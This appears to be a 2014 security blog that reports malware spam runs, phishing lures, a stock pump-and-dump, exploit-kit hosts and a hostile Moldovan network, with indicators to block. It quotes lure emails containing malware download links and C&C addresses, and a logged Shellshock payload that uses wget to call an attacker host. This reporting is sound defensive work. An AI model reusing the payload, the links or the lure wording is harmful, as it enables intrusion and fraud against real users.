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Monday, 13 October 2014

"Your Amazon.co.uk order" spam with malformed DOC attachment

A whole bunch of these just came through:

From:     AMAZON.CO.UK [order@amazon.co.uk]
To:     1122@eddfg.com
Date:     13 October 2014 08:32
Subject:     Your Amazon.co.uk order }837-1171095-3201918

Hello,

Thanks for your order. We’ll let you know once your item(s) have dispatched.You can view the status of your order or make changes to it by visiting Your Orders on Amazon.co.uk.

Order Details

Order #837-1171095-3201918 Placed on October 11, 2014
Order details and invoice in attached file.
Need to make changes to your order? Visit our Help page for more information and video guides.
We hope to see you again soon. Amazon.co.uk

The order number changes in each version of the spam. Note the misplaced "}" in the title though.. that's not the only thing wrong with this spam.

Attached is a file with a random number and a DOC extension, but in fact it is a plain text attachment that begins:

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAIgAAAAAA
AAAAEAAAJAAAAAEAAAD+////AAAAACEAAAD/////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
///////////////////////////////////spcEAKWAZBAAA8BK/AAAAAAAAEAAAAAAABgAA
AQgAAA4AYmpiaoARgBEAAAAAAAAAAAAAAAAAAAAAAAAZBBYALhAAAOJ7AADiewAAAQAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8A
AAAAAAAAAAAAAAAAAAAAAKQAAAAAALADAAAAAAAAsAMAALADAAAAAAAAsAMAAAAAAACwAwAA
AAAAALADAAAAAAAAsAMAABQAAAAAAAAAAAAAAOoDAAAUAAAAIgQAAAAAAAAiBAAAAAAAACIE


Obviously something has gone wrong here, it looks like the attachment is Base 64 encoded when it shouldn't be, but running it through a decode still seems to generate nothing but junk.

My guess is that something has gone wrong with this spam run, and this is meant to be a malicious executable. As it stands, neither the original or decoded version trigger anything at VirusTotal [1] [2]. There's a good chance that the bad guys will figure this out and fix it though, so be cautious if you receive an unexpected email from Amazon.


Friday, 10 October 2014

Malware spam: "You've received a new fax" / "You have received a new secure message from BankLine"

A pair of malware spams this morning, both with the same payload:

"You've received a new fax"

From:     Fax [fax@victimdomain.com]
Date:     10 October 2014 11:34
Subject:     You've received a new fax

New fax at SCAN7097324 from EPSON by https://victimdomain.com
Scan date: Fri, 10 Oct 2014 18:34:56 +0800
Number of pages: 2
Resolution: 400x400 DPI

You can secure download your fax message at:

http://www.eialtd.com/kk/document.php

(Google Disk Drive is a file hosting service operated by Google, Inc.)

"You have received a new secure message from BankLine"

From:     Bankline [secure.message@bankline.com]
Date:     10 October 2014 10:29
Subject:     You have received a new secure message from BankLine

You have received a secure message.

Read your secure message by following the link bellow:

http://www.electromagneticsystems.com/kk/document.php

You will be prompted to open (view) the file or save (download) it to your computer. For best results, save the file first, then open it.

If you have concerns about the validity of this message, please contact the sender directly. For questions please contact the Bankline Bank Secure Email Help Desk at 0131 556 3297.

First time users - will need to register after opening the attachment.
About Email Encryption - https://supportcentre.Bankline.com/app/answers/detail/a_id/1671/kw/secure%20message

The malware downloads a file document_73128_91898_pdf.zip from the target site that contains a malicious executable document_73128_91898_pdf.exe which has a VirusTotal detection rate of 4/54.

According to the ThreatExpert report [pdf] the malware communicates with the following URLs which are probably worth blocking or monitoring:

94.75.233.13/1010uk1/NODE01/41/5/1/
94.75.233.13/private/sandbox_status.php
94.75.233.13/1010uk1/NODE01/0/51-SP3/0/
94.75.233.13/1010uk1/NODE01/1/0/0/
beanztech.com/beanz/1010uk1.rtf


Thursday, 9 October 2014

Spam: Confederation MineraIs / Confederation Minerals (CNRMF) pump-and-dump

This high-volume pump-and-dump spam run is promoting the Confederation Minerals (CNRMF) stock, although the spam itself intentionally mis-spells it as Confederation MineraIs with a capital "I" replacing the lowercase "l".

From:     TheStreet  
Date:     9 October 2014 12:29
Subject:     The Stocktip Of The Year

 You've been patient for a while now and finally it's time.

Confederation MineraIs (CNRMF) is on the verge of exploding.

Thats because they have hundreds ofmillions of precious metals on their property and they are weeks away from beginning to dig it out and selling it up the distribution chain.

It is trading at such a bargain right now that CNRMF is a no-brainer.

Snap up as many shares of it as you can today before it goes up too high.

Everyone is certain that we will see it hit past 40cents before month's end.

63 South Main Street, Newtown CT 06470

The  TheStreet, Inc. Press | Customer Service | Privacy Policy

You received this message because you are a  TheStreet, Inc. customer or have registered at  TheStreet.com.
This email was sent to you by The  TheStreet, Inc.. Click here to update your email preferences.

We can see clearly from the Yahoo! Finance page that CNRMF is a disaster area. The stock has slumped from $1.33 in April 2011 to $0.06 today.

Usually the shares are very thinly traded with either zero trades or trades in the low thousands on most days (average trades are about 2000 per day or $120 at today's prices) . The reason for the poor share price is apparent when you look at the financials. As with several other stocks promoted through spam (especially mining stocks) there is zero income and only a bunch of expenditure.

The spam argues that this is going to be OK because CNRMF are sitting on an enormous pile of precious metals which they are shortly going to be selling off. Of course if they were actually sitting on a goldmine then the smart thing to do would be hold onto the stocks until the money comes in. In reality, the chances of this happening are approximately zero.

There doesn't seem to be a particular pattern of stock buying going on, which indicates perhaps that the pump and dump spam is being arranged by some existing stockholder trying to cash out.

Only a fool would invest in CNRMF in response to this sort of spam message. Avoid.

UPDATE 2014-10-10: a second version is now being spammed out..

From:     Thanh Ford
Date:     10 October 2014 15:50
Subject:     Sorry for my late reply

Hi [redacted],

I got your voicemail yesterday about the stock tip you want, sorry I couldnt pick up the phone I was on with the wife you know how she is but please next time don't call the house line, I would prefer if you come in to my office instead. In person is always better. Anyway your timing is impeccable you are very lucky. There's this insane little company (confederation minerals) that was exchanging hands for like a dollar and a half last year and now you can grab it for around 10 cents. These guys are sitting on gold, literaly. They have proven reserves worth a few hundred mill and theyre about to begin digging out the stuff in a few months.

You better bet the stokc is gonna go nuts in the coming weeks when they make the drilling announcement. Take care and if you need anything else give me a shout. The stokc is CNRMF and if I were you id grab as many shares as I can, everyone at the office thinks this one is gonna go up at least 5x soon.


chinaregistry.org.cn domain scam

This is an old scam that can safely be ignored.
From:     Henry Liu [henry.liu@chinaregistry.org.cn]
Date:     9 October 2014 07:53
Subject:     [redacted] domain and keyword in CN

(Please forward this to your CEO, because this is urgent. Thanks)

We are a Network Service Company which is the domain name registration center in Shanghai, China. On Oct 7, 2014, we received an application from Huaya Holdings Ltd requested "[redacted]" as their internet keyword and China (CN) domain names. But after checking it, we find this name conflict with your company name or trademark. In order to deal with this matter better, it's necessary to send email to you and confirm whether this company is your distributor or business partner in China?Kind regards

Henry Liu 
General Manager 
China Registry (Headquarters)
3002, Nanhai Building, No. 854 Nandan Road,
Xuhui District, Shanghai, China
Tel: +86 21 6191 8696
Mobile: +86 138 1642 8671
Fax: +86 21 6191 8697
Web:
www.chinaregistry.org.cn

Nobody is trying to register your domain name, this is simply a long-running scam aimed at getting you to spend too much money on something that you don't need. And I strongly recommend that you don't forward junk email like this to your CEO either.

I created a brief video explaining the scam that you can view below:

Nuclear EK active on 178.79.182.106

It looks like the Nuclear exploit kit is active on 178.79.182.106 (Linode, UK), using hijacked subdomains of legitimate domains using AFRAID.ORG nameservers. I can fee the following sites active on that IP:

fuhloizle.tryzub-it.co.uk
fuhloizle.pgaof39.com
fuhloizle.cusssa.org


"fuhloizle" is a pretty distinctive search string to look for in your logs. It looks like the bad sites might be down at the moment (or the kit is hardened against analysis), but blocking this IP address as a precaution might be a good idea.

Wednesday, 8 October 2014

Malware spam: Lloyds "Important - Commercial Documents" and NatWest "You have a new Secure Message"

There's a familiar pattern to this malware-laden spam, but with an updated payload from before:

Lloyds Commercial Bank: "Important - Commercial Documents"


From:     Lloyds Commercial Bank [secure@lloydsbank.com]
Date:     8 October 2014 11:09
Subject:     Important - Commercial Documents

Important account documents

Reference: C437
Case number: 66324010
Please review BACs documents.

Click link below, download and open document. (PDF Adobe file)
----------------------
http://01silex.com/dropbox/document.php
-----------------------

Please note that the Terms and Conditions available below are the Bank's most recently issued versions. Please bear in mind that earlier versions of these Terms and Conditions may apply to your products, depending on when you signed up to the relevant product or when you were last advised of any changes to your Terms and Conditions. If you have any questions regarding which version of the Terms and Conditions apply to your products, please contact your Relationship Manager. .

Yours faithfully

James Vance
Senior Manager, Lloyds Commercial Banking

Calls may be monitored or recorded in case we need to check we have carried out your instructions correctly and to help improve our quality of service.

Please remember we guarantee the security of messages sent by email.

NatWest: "You have a new Secure Message - file-2620"


From:     NatWest [secure.message@natwest.com]
Date:     8 October 2014 10:29
Subject:     You have a new Secure Message - file-2620


You have received a encrypted message from NatWest Customer Support
In order to view the attachment please open it using your email client ( Microsoft Outlook, Mozilla Thunderbird, Lotus )


Please download your ecnrypted message at:

http://cookierunid.com/dropbox/document.php

(Google Disk Drive is a file hosting service operated by Google, Inc.)


If you have concerns about the validity of this message, please contact the sender directly. For questions please contact the NatWest Bank Secure Email Help Desk at 0131 556 3068.

The link in the email runs through a script which will attempt to download a ZIP file pdf-to-view_864129_pdf.zip onto the target machine which in turn contains a malicious executable pdf-to-view_864129_pdf.exe which has a VirusTotal detection rate of 6/53.

The Malwr report indicates that the malware phones home to the following locations which are worth blocking, especially 94.75.233.13 (Leaseweb, Netherlands) which looks like a C&C server.

94.75.233.13:37400/0810uk1/HOME/0/51-SP3/0/
94.75.233.13:37400/0810uk1/HOME/1/0/0/
94.75.233.13:37400/0810uk1/HOME/41/5/1/
cemotrans.com/seo/0810uk1.soa


Tuesday, 7 October 2014

DHL-themed phish goes to a lot of effort and then spoils it with Comic Sans

This DHL-themed phish is trying to harvest email credentials, but instead of just spamming out a link, it spams out a PDF file with the link embedded in it.

Date:     6 October 2014 23:32
Subject:     Package has been sent.

Your shipment(s) listed below is scheduled for delivery on Thursday next week.

Scheduled Delivery Date: Thursday, 10/09/2014

Shipment 2

Shipper: ADIHASAN GROUP

Kindly please see attached file for shipment /delivery details and tracking procedure. You can also request a delivery change (e.g. reschedule or reroute) from the tracking detail.

Approximate Delivery Time: between 3:00 PM and 7:00 PM
DHL Service: DHL 2nd Day Air

We are pleased to provide you with delivery that fits your life.

© 2014 Parcel Service of the World. DHL, the DHL brandmark, and the color brown are trademarks of United Parcel Service of America, Inc. All rights reserved.
All trademarks, trade names, or service marks that appear in connection with UPS's services are the property of their respective owners.
For more information on DHL's privacy practices, refer to the DHL Privacy Notice.
Please do not reply directly to this e-mail. DHL will not receive any reply message.
For questions or comments, visit Contact DHL.

This communication contains proprietary information and may be confidential.  If you are not the intended recipient, the reading, copying, disclosure or other use of the contents of this e-mail is strictly prohibited and you are instructed to please delete this e-mail immediately.
Privacy Notice
DHL My Choice Service Terms
Contact DHL

Look closely at the blurb at the bottom and it confuses DHL with UPS, but who reads that? Attached is a non-malicious PDF file DHL (1).pdf which contains a link to the phishing site.

So far, so professional. And a neat trick to use PDF files in this way as a lot of spam filters and anti-phishing tools won't spot it. The link in the PDF goes to 37.61.235.199/~zantest/doc1/dhlweb0002/webshipping_dhl_com_members_modulekey_displaycountrylist_id5482210003804452/DHL/index.htm where it has a rather less professional looking webpage that is phishing for general email addresses rather than DHL credentials.

With the grotty graphics and injudicious use of Comic Sans, it's hard to see how this would fool anyone into turning over their credentials.. but presumably they manage to harvest enough usernames and passwords to make it worthwhile.

Friday, 3 October 2014

"Thanks for shopping with us today!" malspam spreads via Dropbox

This spam email leads to malware hosted on Dropbox:

From:     pghaa@pghaa.org
To:     victim@victimdomain.com
Date:     3 October 2014 11:43
Subject:     victim@victimdomain.com

Thanks for shopping with us today! Your purchase will be processed shortly.

ORDER DETAILS

Purchase Number: CTV188614791
Purchase Date: 7:38 2-Oct-2014
Customer Email: victim@victimdomain.com

Amount: 4580 US Dollars

Open your payment details

Please click the link provided above to get more details about your order.
In this case the download location is https://www.dropbox.com/s/7n4ib0ysqnzr4un/Payment%20Details_52375.zip?dl=1 although it is likely that there are others.

The download file is Payment Details_52375.zip containing a malicious executable PAYMENT DETAILS.PDF  .scr_56453.exe which has a VirusTotal detection rate of 5/55.  At the moment, automated analysis tools [1] [2] [3] are inconclusive as to what it does.

UPDATE: it is also being distributed via
https://www.dropbox.com/s/9an3ggp98xu7ql5/Transaction_85523.zip?dl=1
https://www.dropbox.com/s/8uoheamseo98nse/Information_J90Z4.zip?dl=1 
https://www.dropbox.com/s/fvogsazezmv00hw/Transaction_G287O.zip?dl=1
https://www.dropbox.com/s/42b7binqmk8auu9/Payment_Details_A0869.zip?dl=1
https://www.dropbox.com/s/okag3y2qtg12vg7/Payment_Details_R435C.zip?dl=1

 

Thursday, 2 October 2014

Sky doesn't understand "opting out" of marketing emails

When I opt out of marketing emails, I expect to stay opted out. This kind of crap sent from Sky really gets my goat.
Are you making the most of your Sky TV?
We’re checking our records and can see that you’re not currently opted in to get offers by email, so there are bound to be things you’re not hearing about, like:
-  exclusive money-saving offers on fantastic Sky products and services
-  the chance to trial our most popular products and services totally free
We’ll also donate £2 to Sky Rainforest Rescue, our partnership with WWF, for every customer that opts in – up to £10,000. Sky Rainforest Rescue is helping to save 1 billion trees in the Amazon. So you’ll be making a real difference to the rainforest, which is home to an astonishing one in 10 of all the wild species on Earth.
It only takes a minute, so opt in tod​ay and get more out of being a Sky customer.

Sky seem aghast that I'm not interested in a stream of marketing emails for products which I am probably not interested in. Which is why I opted out of having them. I don't want to be nagged about opting out - that's not honouring the opt out is it? In other words.. this is spam.

Just in case Sky ever ends up reading it, I will put it in terms that you might understand..






Wednesday, 1 October 2014

uktservices.com "Booking Cancellation" spam / 37.235.56.121

I just had a mass of these purporting to be from uktservices.com ("UK Travel Services"), but in fact it is a forgery and does not come from them at all - they are not responsible for sending the spam and their systems have not been compromised.

From:     email@uktservices.com
Date:     1 October 2014 14:01
Subject:     Booking Cancellation

Hello.

Your booking at 13:15 on 1st Oct 2014 has been Cancelled.

Here is a link to your updated bookings view:

< href="[redacted] ">http://www.uktservices.com/system/drivers/jobs/51/66c3a53705f1ea2c5b8a11c94c29c6328599a0fc
All the emails are somewhat mangled, but the first link in the email (not the uktservices.com link) goes to what appears to be an exploit kit:

The links in the emails I have seen so far go to:

[donotclick]vinafruit.com/ongo.html
[donotclick]famdebaere.eu/ongo.html
[donotclick]ebook-55.ebook-55.com/ongo.html
[donotclick]farahenterprises.com/ongo.html


In all cases, those pages forward to a malicious page at:

[donotclick]37.235.56.121:8080/njslfxqqw9

The IP of 37.235.56.121 belongs to EDIS GmbH in Austria, and I suspect it has been hacked through an insecure Joomla installation.

I haven't been able to identify which exploit kit it is as it it has been hardened against analysis, but you can guarantee that this is malicious in some way or another.

Something evil on 87.118.127.230

Quite what exploit kit this is I cannot determine, but there's something evil on 87.118.127.230 (Keyweb, Germany) which is using hijacked GoDaddy-registered subdomains to distribute crap. It's definitely worth blocking this IP. The source looks like some sort of malvertising, but I have incomplete data.

The domains I have seen being abused are:
aacregistry.org
agostjoe.com
apprizse.com
association-connect.com
barnesvillechiro.com
bwclinic.com
chiro-connect.com
ctkblockparty.org
holyhoops.net
josephrobidoux.com
lifeatctk.org
mca-connect.com
midwestartists.org
missouritheater.com
missouritheater.net
missouritheater.org
missouritheatre.com
missouritheatre.net
missouritheatre.org
moveonedegree.com
mvsummerhoops.com
premiermortgagenetwork.info
rapidpricecomparison.com
robidouxrow.com
smallbiz-connect.com
staffing-connect.com
stjoarts.org
stjoearts.com
trailswest.org
tumainiag.com
tumainiag.org
vpmspecialists.com

A list of all the subdomains I have seen can be found here [pastebin]

"Homicide Suspect - important" spam

Ohmigod, the New York City police have finally tracked me down for eviscerating that spammer in Times Square.

From:     ALERT@police.uk [ALERT@police-uk.com]
Date:     1 October 2014 08:49
Subject:     Homicide Suspect - important


Bulletin Headline: HOMICIDE SUSPECT
Sending Agency: New York City Police
Sending Location: NY - New York - New York City Police
Bulletin Case#: 14-49627
Bulletin Author: BARILLAS #1264
Sending User #: 56521
APBnet Version: 852065

The bulletin is a pdf file. To download please follow the link below (Google Disk Drive service):

http://lppdrivingschool.id.au/ib1/cc141713


The Adobe Reader (from Adobe.com) will display and print the bulletin best.

You can Not reply to the bulletin by clicking on the Reply button in your email software.
Weirdly, the message comes from a police.uk email address and the link goes to a driving school in Australia. And it comes from 63.234.220.114 which is an IP address in Kansas City.

Perhaps the biggest anomaly is the file that is downloaded, a ZIP file called file-viewonly7213_pdf.zip which contains an executable file-viewonly7213_pdf.scr which is (as you might guess) malicious with a VirusTotal detection rate of 2/55.  The Anubis report shows that the malware phones home to santace.com  which is probably worth blocking or monitoring. Other analyses are pending.

I've also seen the same payload promoted through a "You've received a new fax" spam, and no doubt there will be others during the course of the day.

Tuesday, 30 September 2014

Alzheimer's Association (act.alz.org) abused by spammers

The Alzheimer's Association in the US (alz.org) operate some sort of tell-a-friend system which is apparently easily abused by spammers.

From:     Marbu Contracting Company LLC. [info@alz.org]
Reply-To:     "Marbu Contracting Company LLC." [marbu.constructions.ah@hotmail.com]
Date:     30 September 2014 19:33
Subject:     Check out the Alzheimer's Association website!

Marbu Contracting Company LLC.
No.48,1st Floor,Kaamco
Building, Suhaim Bin Hamad
Street, Bin Mahmoud Qatar,
Tele:44204739.Fax:44289185
E-Mail:(marbu.constructions.ah@hotmail.com)


Marbu Contracting Company LLC. wish to use this medium to announce
that vacancies is now on for Qualified building contractors,
Structural Engineers/Electrical Engineer//Piping/Mechanical
Engineers/GIS/Land Surveyors,NDT Engineer, Civil Engineers, Project
Director,ETC. Candidates should have a Relevant degree B.Eng, BSc.
Eng or B racersTech,

interested contractor or candidate should apply with full resume and
details of jobs completed or ongoing for perusal.

Send You reply to:(marbu.constructions.ah@hotmail.com)

Regard's
Mr.Ahmed Haasen,
Human Resources Manager

I urge you to join me and visit the Alzheimer's Association today!

If the text above does not appear as a clickable link, you can visit the web address:

http://act.alz.org/site/TellAFriend?s_oo=F79cLz0Fs6dcX6iQ5Lb3TA

If you no longer wish to receive email messages sent from your friends on behalf of this organization, please click here or paste this URL into your browser: http://act.alz.org/site/TellFriendOpt?action=optout&toe=a136b421fe2a9b594f68767c21c537f6382420c25dbc7e041ccd4c50a5c00593 
The originating IP is 66.45.103.69 which closely matches the IP of 66.45.103.78 for act.alz.org mentioned in the email, so the email is genuinely coming via the Alzheimer's Association website from some scumbag spammers.

Is this actually from Marbu Contracting? Well, they have been around for 35 years and have their own website at marbucontracting.co and receive emails at the domain marbu-contracting.com, so it is unlikely that they would either resort to using a Hotmail account or sending spam in this way.

So is it a scam? It could be a dangerous one as some Qatari firms have been accused of running slave labour camps, so there's a good chance that this gig isn't what it is supposed to be.

But either the Alzheimer's Association or their service provider Convio Inc must bear some of the responsibility for creating a system that can be abused by spammers in this way. Although their site is meant to restrict sending these messages to ten addresses at a time, presumably the bad guys are running a script or have found some other way to bulk email using alz.org.


In conclusion.. ignore this bogus job offer. And remember to secure this sort of "tell a friend" functionality on your own servers.

Malware spam: NatWest "You have a new Secure Message" / "You've received a new fax"

The daily mixed spam run has just started again, these two samples seen so far this morning:

NatWest: "You have a new Secure Message"

From:     NatWest [secure.message@natwest.com]
Date:     30 September 2014 09:58
Subject:     You have a new Secure Message - file-3800

You have received a encrypted message from NatWest Customer Support
In order to view the attachment please open it using your email client ( Microsoft Outlook, Mozilla Thunderbird, Lotus )


Please download your ecnrypted message at:

http://binuli.ge/docs/document0679

(Google Disk Drive is a file hosting service operated by Google, Inc.)


If you have concerns about the validity of this message, please contact the sender directly. For questions please contact the NatWest Bank Secure Email Help Desk at 0131 556 6002.

"You've received a new fax"

From:     Fax [fax@victimdomain.com]
Date:     30 September 2014 09:57
Subject:     You've received a new fax

New fax at SCAN4148711 from EPSON by https://victimdomain.com
Scan date: Tue, 30 Sep 2014 14:27:24 +0530
Number of pages: 2
Resolution: 400x400 DPI

You can secure download your fax message at:

http://www.brianhomesinc.com/docs/document5928

(Google Disk Drive is a file hosting service operated by Google, Inc.)
The link in the email goes through a script to ensure that you are using a Windows PC and then downloads a file document3009.zip which contains a malicious executable document3009.scr which has a VirusTotal detection rate of 3/54. The Comodo CAMAS report  and Anubis report are rather inconclusive.

UPDATE: the ThreatTrack report [pdf] shows that the malware attempts to communicate with the following locations:

188.165.198.52/3009uk1/NODE01/0/51-SP3/0/
188.165.198.52/3009uk1/NODE01/1/0/0/

188.165.198.52 is (unsurprisingly) allocated to OVH in France and is definitely worth blocking.



Monday, 29 September 2014

Malware spam: "Lloyds Commercial Bank" / "HSBC Bank UK"

Two different banking spams this morning, leading to the same malware,.

Lloyds Commercial Bank "Important - Commercial Documents"

From:     Lloyds Commercial Bank [secure@lloydsbank.com]
Date:     29 September 2014 11:03
Subject:     Important - Commercial Documents

Important account documents

Reference: C947
Case number: 18868193
Please review BACs documents.

Click link below, download and open document. (PDF Adobe file)
----------------------
http://www.ticklestootsies.com/dropbox-documents/document_8641_29092014.php
-----------------------

Please note that the Terms and Conditions available below are the Bank's most recently issued versions. Please bear in mind that earlier versions of these Terms and Conditions may apply to your products, depending on when you signed up to the relevant product or when you were last advised of any changes to your Terms and Conditions. If you have any questions regarding which version of the Terms and Conditions apply to your products, please contact your Relationship Manager. .

Yours faithfully

James Vance
Senior Manager, Lloyds Commercial Banking

Calls may be monitored or recorded in case we need to check we have carried out your instructions correctly and to help improve our quality of service.

Please remember we guarantee the security of messages sent by email.

HSBC Bank UK "Payment Advice Issued"


From:     HSBC Bank UK
Date:     29 September 2014 11:42
Subject:     Payment Advice Issued

Your payment advice is issued at the request of our customer. The advice is for your reference only.

Please download your payment advice at http://sabiacommunications.com/dropbox-documents/document_8641_29092014.php

Yours faithfully,
Global Payments and Cash Management

*******************************************************************************
This is an auto-generated email, please DO NOT REPLY. Any replies to this email will be disregarded.
The link in the email goes through a script and then downloads a file document_8641_29092014_pdf.scr (this time without a ZIP wrapper) which has a VirusTotal detection rate of just 1/55. The Anubis report shows that the malware attempts to phone home to cuscorock.com which is probably a good thing to block or monitor.

Sunday, 28 September 2014

This is why I don't use Network Solutions

I recently acquired a domain name which ended up being registered at Network Solution, not my usual registrar.. so I then wanted to move that domain from NetSol to my main domain account. Now, do to this you need an authorisation code to transfer out.. which I duly requested.

So after a few days of waiting, I get the following email from Network Solutions.


Let's look more closely at that authorization code. Yeah, normally that's the sort of thing that you should never share.. but:

The authorisation code is frigging blank. This is meant to be an automated process.. how can it be blank? Or has someone intervened manually?

Oh wait, I didn't read this line in the email:
If you are planning to transfer your domain to another registrar, we would like to do whatever it takes to keep your business - please let us know how we can improve our service to you.
Presumably this a way of doing whatever it takes. I did even drill down into the HTML source to make sure it wasn't my mail client screwing up. It seems that I'm not the only person who has had problems transferring their domain out according to this story.

UPDATE 2014-10-03:  I raised a ticket which was acknowledged.. and then ignored completely. NetSol are breaking ICANN regulations by not providing the authorisation code in a timely manner.

UPDATE 2014-10-09:  After several support tickets and chasing through Twitter I finally got the transfer code.. after two weeks! This clearly breaches the specified five calendar days to do the job.

Just a (hopefully) final note. If you do find that a registrar is being deliberately obstructive about the transfer (or they transferred a domain without your permission) you can make a complaint to ICANN here.

Evil network: Shellshock and MangoHost (mangohost.net) / 83.166.234.0/24

I came across this particular sewer while looking in my logs for Shellshock access attempts yesterday. I noticed that some cheeky b--stard was probing my server at attempting to WGET back to their own network to enumerate vulnerable hosts.
dynamoo.com:80 83.166.234.133 - - [27/Sep/2014:03:08:37 +0100] "GET / HTTP/1.0" 200 11044 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://dynamoo.com/\""
ad.dipaz.biz is hosted on 83.166.234.186, so pretty close to the probing IP of 83.166.234.133 which made me suspicious of the whole range, registered to:

inetnum:        83.166.234.0 - 83.166.234.255
netname:        MangoHost-Net
descr:          S.R.L. MangoHost Network
descr:          str.T.Vladimirescu 1/1, 94 Chisinau, Moldova
country:        MD
org:            ORG-SMN4-RIPE
admin-c:        VL6476-RIPE
tech-c:         VL6476-RIPE
status:         ASSIGNED PA
mnt-by:         RIM2000-MNT
notify:         noc@rim2000.ru
changed:        lukina@rim2000.ru 20140318
changed:        lukina@rim2000.ru 20140325
source:         RIPE

organisation:   ORG-SMN4-RIPE
org-name:       S.R.L. MangoHost Network
org-type:       OTHER
address:        str.T.Vladimirescu 1/1, 94 Chisinau, Moldova
e-mail:         mangohostnetwork@gmail.com
abuse-c:        AR18923-RIPE
abuse-mailbox:  mangohostnetwork@gmail.com
mnt-ref:        CLOUDATAMD-MNT
mnt-by:         CLOUDATAMD-MNT
mnt-ref:        RIM2000-MNT
changed:        iuraqq@gmail.com 20140314
source:         RIPE

person:         Victor Letkovski
address:        T. Vladimirescu str 1/1 2024 Chisinau
phone:          +373 79 342393
nic-hdl:        VL6476-RIPE
mnt-by:         BSB-SERVICE-MNT
changed:        ripe@plusserver.de 20130520
source:         RIPE

% Information related to '83.166.234.0/24AS200019'

route:          83.166.234.0/24
descr:          S.R.L. MangoHost Network
origin:         AS200019
mnt-by:         RIM2000-MNT
changed:        lukina@rim2000.ru 20140319
source:         RIPE


MangoHost claims to be in Moldova, but almost everything to do with them is in Russian, indicating perhaps that whoever runs this is part of the large Russian ethnic minority in Moldova. MangoHost is run by one Victor Letkovski (виктор летковский) who lives in Chisinau.

Until the past few days, MangoHost was hosting the ransomware sites listed here [pastebin]. Paste customers include the infamous Darkode forum back in June, and indeed it still hosts jab.darkode.com, whatever that may be (you can guarantee it is nothing good).

Currently hosted domains include a collection of fake browser plugins, some malvertising sites, some porn, spam sites, hacker resources, ransomware domains and what might appear to be some fake Russian law firms. A list of everything that I can currently see in this /24 is:

for-your.biz
spr.for-your.biz
www.portw.org
1cpred.org
md1.vpn-service.us
jab.darkode.com
cappellina.com
ieplugins.net
ie-plugin.com
ie-addon.com
flanbase.org
porndays.org
allestic.org
shreqads.org
cpmjunction.org
indexcpm.org
friscoserve43.com
secsoncpm.com
clickcenter98.com
clickfunder81.com
adcountservices.com
ad.serverflamerstf.com
sfecpm.com
dialaclick.com
consultant-fond.ru
promo-consultin.ru
fond-consult.ru
rusinconsult.ru
yugconsalting.ru
partnersconsult.ru
buhsupport.biz
s2.futurevideo.su
s3.futurevideo.su
s4.futurevideo.su
tedaciokero.in
security-05znsa.pw
security-police5qnsa.pw
alert24world4xi.us
security-d07nsa.co.uk
security-g02nsa.co.uk
security-d07nsa.us
security-alert-nsacr.us
kubikrubik.me
ns1.kubikrubik.me
ns2.kubikrubik.me
ns2.kubikrubik.me
babulya.biz
ad.evhomebusiness.com
ad.emanuelecontractor.com
ad.theglamzsophisticate.com
ad.icanknittoo.info
smtp.gschultz.com
bounce.gschultz.com
smtp.agoodline.com
bounce.agoodline.com
smtp.ashlandmo.com
bounce.ashlandmo.com
smtp.circuitciy.com
bounce.circuitciy.com
ns2.hnnoceacecs.ru
ns2.jnojgnsecas.ru
ns2.jincoeacsc.ru
ns2.jnigunsecs.ru
zaconhelp.ru
pro-yurist.ru
yuristvsem.ru
zakon-vsem.ru
advocat4all.ru
pro-advocat.ru
yurist-info.ru
yuristzakon.ru
zakon-prost.ru
advocat-vsem.ru
advokat-prof.ru
jurist-otvet.ru
power-yurist.ru
pravomagistr.ru
zakon-yurist.ru
zakon-znatok.ru
zakonmagistr.ru
jurist-zabota.ru
yurist-vopros.ru
yurist-znatok.ru
advocat-jurist.ru
advocat-zakoni.ru
advokatura-pro.ru
pravoved-zakon.ru
pravovoiyurist.ru
yurist-protect.ru
yuristprozakon.ru
zakonhelponline.ru
pravoved-consult.ru
pravovoi-consultant.ru
analofday.com
www.analofday.com
ad.mobiplaystore.us
ad.glenlevit.us
ad.rioresults.us
ad.seojunctionaire.us
ad.directsign.us
ad.dipad.biz
ad.truestream.biz
ad.adrealmedia.biz
freelivepornwebcams.com

I would strongly recommend blocking all traffic to and from 83.166.234.0/24 if you can do it.

Friday, 26 September 2014

Malware spam: "HMRC taxes application with reference" / "Important - BT Digital File" / RBS "Outstanding invoice"

Another bunch of spam emails, with the same payload at this earlier spam run.

HMRC taxes application with reference LZV9 0Q3E W5SD N3GV received

From:     noreply@taxreg.hmrc.gov.uk [noreply@taxreg.hmrc.gov.uk]
Date:     26 September 2014 12:26
Subject:     HMRC taxes application with reference LZV9 0Q3E W5SD N3GV received

The application with reference number LZV9 0Q3E W5SD N3GV submitted by you or your agent to register for HM Revenue & Customs (HMRC) taxes has been received and will now be verified. HMRC will contact you if further information is needed.

Please download/view your HMRC documents here: http://motobrothers.com.pl/documents/document26092014-008.php

The original of this email was scanned for viruses by the Government Secure Intranet virus scanning service supplied by Vodafone in partnership with Symantec. (CCTM Certificate Number 2009/09/0052.) On leaving the GSi this email was certified virus free.

Communications via the GSi may be automatically logged, monitored and/or recorded for legal purposes.

Important - BT Digital File


From:     Cory Sylvester [Cory.Sylvester@bt.com]
Date:     26 September 2014 12:51
Subject:     Important - BT Digital File

Dear Customer,

This email contains your BT Digital File. Please scan attached file and reply to this email.

To download your BT Digital File please follow the link below : http://splash.com.my/documents/document26092014-008.php

If you have any questions or forgotten your password, please visit the "Frequently Asked Questions" at www.bt.com/personal/digitalvault/help or call the helpdesk on 0870 240 0346* between 8am and midnight.

Thank you for choosing BT Digital Vault.

Kind regards,
BT Digital Vault Team
footer

*Calls charged up to 8 pence per minute on the BT network (minimum fee 5.5p). Mobile and other network costs may vary. See http://www.bt.com/pricing for details.

Please note that this is an automatically generated email for your information only. We are sorry, but we can not respond to a "Reply" to this address.

This electronic message contains information from British Telecommunications plc, which may be privileged or confidential. The information is intended for use only by the individual(s) or entity named above. If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of the contents of this information is strictly prohibited. If you have received this electronic message in error, please delete this email immediately.

